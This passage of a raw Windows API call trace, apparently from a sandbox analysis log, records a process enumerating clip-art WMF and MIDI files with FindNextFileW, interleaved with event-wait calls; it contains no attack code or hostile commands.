ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0183.045] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0183.045] ResetEvent (hEvent=0x174) returned 1 [0183.045] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.056] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0183.058] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0183.058] ResetEvent (hEvent=0x174) returned 1 [0183.058] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.065] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0183.065] ResetEvent (hEvent=0x174) returned 1 [0183.065] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.067] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0183.067] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0183.067] ResetEvent (hEvent=0x174) returned 1 [0183.067] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.069] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0183.069] ResetEvent (hEvent=0x174) returned 1 [0183.069] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.071] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0183.071] ResetEvent (hEvent=0x174) returned 1 [0183.071] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.073] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0183.073] ResetEvent (hEvent=0x174) returned 1 [0183.073] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.074] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0183.075] ResetEvent (hEvent=0x174) returned 1 [0183.075] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.078] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0183.078] ResetEvent (hEvent=0x174) returned 1 [0183.078] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.080] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0183.080] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0183.080] ResetEvent (hEvent=0x174) returned 1 [0183.080] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.082] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0183.082] ResetEvent (hEvent=0x174) returned 1 [0183.082] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.084] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0183.084] ResetEvent (hEvent=0x174) returned 1 [0183.084] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.085] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0183.085] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0183.086] ResetEvent (hEvent=0x174) returned 1 [0183.086] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.087] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0183.087] ResetEvent (hEvent=0x174) returned 1 [0183.087] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.089] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0183.089] ResetEvent (hEvent=0x174) returned 1 [0183.089] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.249] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0183.249] ResetEvent (hEvent=0x174) returned 1 [0183.249] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.254] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0183.255] ResetEvent (hEvent=0x174) returned 1 [0183.255] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.270] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0183.270] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0183.270] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0183.270] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, 